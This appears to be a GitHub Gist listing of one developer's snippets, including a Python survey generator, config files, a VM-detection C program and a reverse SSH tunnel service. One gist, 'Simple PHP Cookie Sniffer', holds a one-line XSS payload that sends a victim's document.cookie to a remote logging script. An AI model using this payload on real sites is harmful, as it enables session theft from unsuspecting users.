Skip to content

Instantly share code, notes, and snippets.

@farukuzun
farukuzun / ankey.py
Created April 20, 2012 22:27
Ders icin anket
import random
gender = ['Erkek','Kadin']
age = random.randint(16,30)
ayakkabi = random.randint(35,45)
sac = ['Kahve','Kumral','Siyah','Kizil','Sari']
kilo = random.randint(60,85)
film = ['Aksiyon','Dram','Macera','Korku','Gerilim','Ask']
muzik = ['Rock','Metal','Arabesk','Pop','R&B','Rap']
hobi = ['Spor yapmak','Kitap okumak','Hikaye yazmak','Aileme vakit ayirmak','Bilgisayar oyunlari','Televizyon izlemek','Fotografcilik']
print "Cinsiyet: ",gender[random.randint(0,1)]
@farukuzun
farukuzun / buildout.cfg
Last active December 14, 2015 18:59
buildout.cfg for mercekdaemon, for servers which are already have mongodb.
[buildout]
parts =
django
extensions = mr.developer
auto-checkout = *
versions = versions
eggs =
ipcalc
django-mongodb-engine
tailer
from mechanize import Browser
url = "http://xss.progphp.com/"
forms = []
br = Browser()
br.set_handle_robots(False)
br.addheaders = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
page = br.open(url)
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/public
<Directory />
Options FollowSymLinks
AllowOverride All
</Directory>
<Directory /var/www/public>
Options Indexes FollowSymLinks MultiViews
VteObject.py:172
"""
self.vte.set_colors(
Gdk.color_parse(ConfigManager.get_conf('color-text')),
Gdk.color_parse(ConfigManager.get_conf('color-background')),
[])
"""
@farukuzun
farukuzun / pip_find.py
Created July 15, 2014 11:35
pip_find.py
from __future__ import absolute_import
import os
import re
import argparse
from functools import partial
import logging
import sys
import json
try:
import urllib2 as urllib_request # Python2
@farukuzun
farukuzun / VMBuster.c
Last active August 29, 2015 14:06 — forked from c0d3inj3cT/VMBuster.c
#include <windows.h>
#include <stdio.h>
#include <TlHelp32.h>
#include <Setupapi.h>
#include <string.h>
void vmx_check();
void process_name_check();
void class_name_check();
void cpuid_check();
@farukuzun
farukuzun / keybase.md
Created September 19, 2014 16:05
keybase.md

Keybase proof

I hereby claim:

  • I am farukuzun on github.
  • I am faruk (https://keybase.io/faruk) on keybase.
  • I have a public key whose fingerprint is 0085 478E 1CEE 4FFA 3E8F 5CD8 81D7 CAA5 EE62 0B33

To claim this, I am signing this object:

@farukuzun
farukuzun / get.js
Last active July 13, 2019 19:20
Simple PHP Cookie Sniffer
i=new/**/Image();i.src='http://host/log.php?cookie='+escape(document.cookie);
@farukuzun
farukuzun / reverse-ssh-tunnel.service
Created February 9, 2018 15:56 — forked from samos123/reverse-ssh-tunnel.service
/etc/systemd/system/reverse-ssh-tunnel.service to keep a reverse ssh tunnel restarted automatically
[Unit]
Description=Phone Home Reverse SSH Service
ConditionPathExists=|/usr/bin
After=network.target
[Service]
User=sshtunnel
ExecStart=/usr/bin/ssh -NTC -o ServerAliveInterval=60 -o ExitOnForwardFailure=yes -o StrictHostKeyChecking=no -i /home/sshtunnel/.ssh/id_rsa -R 22223:localhost:22 user@remote-ssh-server
# Restart every >2 seconds to avoid StartLimitInterval failure
RestartSec=3